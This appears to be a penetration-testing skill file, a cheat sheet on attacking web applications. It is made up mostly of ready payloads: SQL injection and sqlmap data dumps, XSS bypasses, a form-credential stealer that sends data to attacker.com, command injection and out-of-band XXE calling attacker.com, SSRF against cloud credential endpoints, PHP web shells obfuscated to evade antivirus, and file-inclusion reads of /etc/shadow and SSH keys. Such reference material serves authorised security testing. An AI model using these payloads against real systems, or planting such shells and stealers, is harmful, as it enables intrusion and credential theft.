trilwu Testing Web Applications
When to Use
- Pentesting web applications
- Testing authentication/authorization
- Exploiting injection vulnerabilities
- Analyzing JWT/session security
- Testing file upload functionality
- API security assessment
When NOT to Use
- Source code is available — use
auditing-code-for-vulnerabilitiesfirst; it finds more, faster - Pure API/GraphQL surface — use
testing-apis - Reviewing a pull request — use
reviewing-code-changes - LLM-backed features — use
securing-ai-systems - Server fetches a user-supplied URL — use
exploiting-ssrf - Serialized objects in cookies or parameters (
rO0AB,O:,gAJ) — useexploiting-deserialization - GraphQL or gRPC endpoints — use
attacking-graphqlorattacking-grpc-protobuf - A JWT (
eyJ...) in a header, cookie, or body — useattacking-jwt - An OAuth/OIDC or "Sign in with X" flow (
/authorize,redirect_uri,code=) — useattacking-oauth-oidc - SAML SSO (
SAMLResponse,<saml:Assertion>,/saml/acs) — useattacking-saml - An endpoint that parses XML, SVG, or Office files — use
exploiting-xxe
SQL Injection
Quick Detection:
# Test basic payloads
'
"
`
' OR '1'='1
" OR "1"="1
' OR '1'='1'--
Union-Based SQLi:
# Find column count
' ORDER BY 1--
' ORDER BY 2--
' ORDER BY 3--
# Extract data
' UNION SELECT NULL,table_name,NULL FROM information_schema.tables--
' UNION SELECT NULL,username,password FROM users--
Time-Based Blind:
-- MySQL
' AND SLEEP(5)--
-- PostgreSQL
' AND pg_sleep(5)--
-- MSSQL
' WAITFOR DELAY '0:0:5'--
Automated Testing:
# SQLMap
sqlmap -u "http://target.com/page?id=1" --batch --dbs
sqlmap -u "http://target.com/page?id=1" -D database --tables
sqlmap -u "http://target.com/page?id=1" -D database -T users --dump
sqlmap -r request.txt -p parameter_name
Cross-Site Scripting (XSS)
Quick Payloads:
<script>alert(1)</script>
<img src=x
<svg
<iframe src="javascript:alert(1)">
<body
Filter Bypasses:
<ScRiPt>alert(1)</sCrIpT>
<script>alert(String.fromCharCode(88,83,83))</script>
<svg/onload=alert(1)>
<img src=x
Steal Credentials:
<script>
document.forms[0].onsubmit = function(){
fetch('http://attacker.com?'+new URLSearchParams(new FormData(this)));
};
</script>
Tools:
dalfox url http://target.com/search?q=test
XSStrike -u "http://target.com/search?q=test"
Command Injection
Basic Operators:
;whoami
|whoami
||whoami
&whoami
&&whoami
`whoami`
$(whoami)
%0Awhoami # Newline (best)
Blind Detection:
& sleep 10 &
& nslookup attacker.com &
& curl http://attacker.com &
Common Parameters:
?cmd=, ?exec=, ?command=, ?ping=, ?query=, ?code=, ?do=
JWT Attacks
Quick Testing:
# jwt_tool - run all tests
python3 jwt_tool.py -M at -t "https://api.target.com/endpoint" -rh "Authorization: Bearer TOKEN"
# Specific attacks
python3 jwt_tool.py TOKEN -X a # Algorithm confusion
python3 jwt_tool.py TOKEN -X n # None algorithm
python3 jwt_tool.py TOKEN -X k # Key confusion RS256->HS256
Manual Testing:
# Decode JWT
echo "eyJhbGc..." | base64 -d
# Change algorithm to "none"
{"alg":"none","typ":"JWT"}
# Brute force secret
hashcat -a 0 -m 16500 jwt.txt wordlist.txt
SSRF (Server-Side Request Forgery)
Basic Payloads:
http://127.0.0.1
http://localhost
http://169.254.169.254/ # AWS metadata
http://[::1] # IPv6 localhost
Cloud Metadata:
# AWS
http://169.254.169.254/latest/meta-data/
http://169.254.169.254/latest/meta-data/iam/security-credentials/
# Google Cloud
http://metadata.google.internal/computeMetadata/v1/
# Azure
http://169.254.169.254/metadata/instance?api-version=2021-02-01
Bypasses:
http://2130706433/ # Decimal
http://0x7f000001/ # Hex
http://127.1/ # Short form
http://127.0.0.1.nip.io
File Upload
Bypass Extensions:
shell.php.jpg
shell.jpg.php
shell.php%00.jpg
shell.phP
shell.php5
shell.phtml
Magic Bytes:
GIF89a<?php syst[e]m($_GET['cmd']); ?>
Simple Web Shells:
<?php syst[e]m($_GET['cmd']); ?>
<?=`$_GET[0]`?>
<?php passt[h]ru($_GET['cmd']); ?>
Payload function names above are broken with brackets —
syst[e]missystem,passt[h]ruispassthru. Written literally, these lines match antivirus webshell signatures and this file gets quarantined on download. See "Antivirus false positives" in the repo README.
XXE (XML External Entity)
Basic XXE:
<?xml version="1.0"?>
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]>
<root>&xxe;</root>
Out-of-Band XXE:
<?xml version="1.0"?>
<!DOCTYPE foo [<!ENTITY % xxe SYSTEM "http://attacker.com/evil.dtd">%xxe;]>
<root></root>
SVG XXE:
<?xml version="1.0" standalone="yes"?>
<!DOCTYPE test [<!ENTITY xxe SYSTEM "file:///etc/passwd">]>
<svg xmlns="http://www.w3.org/2000/svg">
<text>&xxe;</text>
</svg>
LFI/RFI (Local/Remote File Inclusion)
Path Traversal:
../../../etc/passwd
....//....//....//etc/passwd
..%2F..%2F..%2Fetc%2Fpasswd
..%252F..%252F..%252Fetc%252Fpasswd
Common Targets (Linux):
/etc/passwd
/etc/shadow
/var/log/apache2/access.log
/var/www/html/config.php
~/.ssh/id_rsa
~/.bash_history
Common Targets (Windows):
C:\Windows\System32\drivers\etc\hosts
C:\Windows\win.ini
C:\xampp\apache\conf\httpd.conf
PHP Wrappers:
php://filter/convert.base64-encode/resource=index.php
php://input # POST: <?php system('whoami'); ?>
data://text/plain,<?php system('whoami'); ?>
expect://whoami
Log Poisoning:
# Poison Apache log
curl "http://target.com/<?php system(\$_GET['cmd']); ?>"
# Include log
http://target.com/page.php?file=/var/log/apache2/access.log&cmd=whoami
API Testing
Common API Paths:
/api/v1/
/api/v2/
/graphql
/swagger.json
/api-docs
IDOR Testing:
# Change IDs
curl https://api.target.com/users/1
curl https://api.target.com/users/2
curl https://api.target.com/users/2 -H "Authorization: Bearer USER1_TOKEN"
Mass Assignment:
# Add admin fields
curl -X POST https://api.target.com/users \
-H "Content-Type: application/json" \
-d '{"username":"test","email":"test@test.com","role":"admin","is_admin":true}'
GraphQL Introspection:
{
__schema {
types {
name
fields {
name
}
}
}
}
Tools
Enumeration:
ffuf -u http://target.com/FUZZ -w wordlist.txt
gobuster dir -u http://target.com -w wordlist.txt
feroxbuster -u http://target.com -w wordlist.txt
Vulnerability Scanning:
nikto -h http://target.com
nuclei -u http://target.com -t ~/nuclei-templates/
Parameter Discovery:
arjun -u http://target.com/page
paramspider -d target.com
Quick Reference
Start Testing:
- Run directory enumeration (ffuf/gobuster)
- Check for SQLi in parameters (
',",OR 1=1) - Test XSS in inputs (
<script>alert(1)</script>) - Analyze JWT tokens if present (jwt_tool)
- Check file uploads (bypass filters, upload shell)
- Test API endpoints (IDOR, mass assignment)
- Look for command injection (
;whoami,|id)
Most Common Wins:
- SQLi in search/filter parameters
- XSS in unescaped user inputs
- IDOR in API
/users/{id}endpoints - Weak JWT secrets (brute force)
- File upload bypasses
- Command injection in system utilities
ATT&CK Coverage
Generated from secskills-core/ttp-index.json — edit that file, then run
python3 scripts/sync_attack.py --write. Re-verify IDs against the
current ATT&CK release before citing them in a report.
Initial Access (TA0001)
- T1190 Exploit Public-Facing Application — see also
testing-apis,enumerating-network-services,attacking-graphql,attacking-grpc-protobuf,exploiting-deserialization,exploiting-ssrf,exploiting-xxe
Execution (TA0002)
- T1059 Command and Scripting Interpreter — see also
enumerating-network-services
Persistence (TA0003)
- T1505.003 Web Shell — see also
establishing-persistence
Credential Access (TA0006)
- T1539 Steal Web Session Cookie
Detection content for any of these: engineering-detections. Proactive search: hunting-threats. Post-compromise: responding-to-incidents.
References
See HackTricks for detailed techniques: